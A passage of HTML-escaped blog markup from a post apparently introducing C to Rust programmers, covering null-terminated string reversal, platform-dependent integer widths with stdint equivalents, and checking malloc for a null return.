 &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;9&lt;/span&gt;    &lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;10&lt;/span&gt;
&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;11&lt;/span&gt;    &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Add the null terminator at the end.
&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;12&lt;/span&gt;    reversed&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;len&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-character syntax-escape syntax-c&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;13&lt;/span&gt;
&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;14&lt;/span&gt;    &lt;span class=&quot;syntax-keyword syntax-control syntax-c&quot;&gt;return&lt;/span&gt; reversed&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;15&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note lines 5 and 12, which take special measure to account for the null terminator. For reference, the corresponding Rust function &lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fn-rust-reverse-string&quot;&gt;[4]&lt;/a&gt;&lt;/sup&gt; doesn&#39;t need to do so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;reverse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;forward&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;[&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u8&lt;/span&gt;]&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Box&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; len &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; forward.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-modifier syntax-rust&quot;&gt;mut&lt;/span&gt; reversed &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-support syntax-type syntax-rust&quot;&gt;Box&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;new_uninit_slice&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;len&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;syntax-keyword syntax-control syntax-rust&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-integer syntax-decimal syntax-rust&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;..&lt;/span&gt;len &lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
        reversed&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;forward&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;len &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-integer syntax-decimal syntax-rust&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;-&lt;/span&gt; i&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;

    &lt;span class=&quot;syntax-storage syntax-modifier syntax-rust&quot;&gt;unsafe&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt; reversed.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;assume_init&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Target-Dependent Integer Widths&lt;/h2&gt;
&lt;p&gt;C&#39;s integer types are not guaranteed to use an exact number of bits, instead the width varies depending on the target platform.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;C Standard&lt;/th&gt;
&lt;th&gt;64-bit Unix&lt;/th&gt;
&lt;th&gt;64-bit Windows&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;char&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;at least 8 bits&lt;/td&gt;
&lt;td&gt;8 bits&lt;/td&gt;
&lt;td&gt;8 bits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;short&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;at least 16 bits&lt;/td&gt;
&lt;td&gt;16 bits&lt;/td&gt;
&lt;td&gt;16 bits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;int&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;at least 16 bits&lt;/td&gt;
&lt;td&gt;32 bits&lt;/td&gt;
&lt;td&gt;32 bits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;long&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;at least 32 bits&lt;/td&gt;
&lt;td&gt;64 bits&lt;/td&gt;
&lt;td&gt;32 bits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;long long&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;at least 64 bits&lt;/td&gt;
&lt;td&gt;64 bits&lt;/td&gt;
&lt;td&gt;64 bits&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Data sourced &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/language/arithmetic_types&quot;&gt;via cppreference.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;long&lt;/code&gt; being 64 bits on Unix and 32 bits on Windows particularly irks me. I recommend following the advice that &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/magicalbat&quot;&gt;a friend of mine&lt;/a&gt; gave me a few years ago: if you care about cross-platform compatibility, only use the fixed width integers provided by &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/header/stdint&quot;&gt;&lt;code&gt;&amp;lt;stdint.h&amp;gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rust&lt;/th&gt;
&lt;th&gt;C&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;u8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint8_t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;u16&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint16_t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;u32&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint32_t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;u64&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uint64_t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;usize&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;size_t&lt;/code&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fn-size_t-and-ptrdiff_t&quot;&gt;[5]&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;i8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int8_t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;i16&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int16_t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;i32&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int32_t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;i64&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int64_t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;isize&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ptrdiff_t&lt;/code&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fn-size_t-and-ptrdiff_t&quot;&gt;[5]&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Error Handling Sucks&lt;/h2&gt;
&lt;p&gt;I really love Rust&#39;s error handling. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://doc.rust-lang.org/stable/std/result/enum.Result.html&quot;&gt;&lt;code&gt;Result&lt;/code&gt;&lt;/a&gt; forces you to address errors, and sum types (&lt;code&gt;enum&lt;/code&gt;s) and &lt;code&gt;match&lt;/code&gt; statements make doing so really easy!&lt;/p&gt;
&lt;p&gt;C&#39;s error handling story, in comparison, is straight up tragic. It seems to boil down to functions returning a &amp;quot;magic integer&amp;quot; like -1 or a null pointer to signal there was an error. You can get a little bit more information by reading &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/error/errno&quot;&gt;&lt;code&gt;errno&lt;/code&gt;&lt;/a&gt;, a thread-local integer that can be used to check for specific kinds of errors, but in terms of getting actual error messages and stack traces it is much harder.&lt;/p&gt;
&lt;p&gt;When writing C, one of the biggest things you&#39;ll notice is that the language will never force you to handle errors. It&#39;s up to you to remember that functions can fail. For example, here&#39;s a snippet of code from &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#null-terminated-strings&quot;&gt;Null-Terminated Strings&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Allocate enough room for the string and its null terminator.
&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; reversed &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-C99 syntax-c&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;len &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-keyword syntax-control syntax-c&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;syntax-keyword syntax-operator syntax-comparison syntax-c&quot;&gt;&amp;lt;&lt;/span&gt; len&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;
    reversed&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; forward&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;len &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;-&lt;/span&gt; i&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To new programmers, it&#39;s not immediately obvious that &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/memory/malloc&quot;&gt;&lt;code&gt;malloc()&lt;/code&gt;&lt;/a&gt; can fail and return a null pointer. If your machine runs out of memory, &lt;code&gt;reversed[i]&lt;/code&gt; will cause a segfault upon being accessed. In order to avoid unhelpful segfaults, the program should check for a null pointer and gracefully exit if one is found:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; reversed &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-C99 syntax-c&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;len &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-keyword syntax-control syntax-c&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;reversed &lt;span class=&quot;syntax-keyword syntax-operator syntax-comparison syntax-c&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-language syntax-c&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-C99 syntax-c&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;Error&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
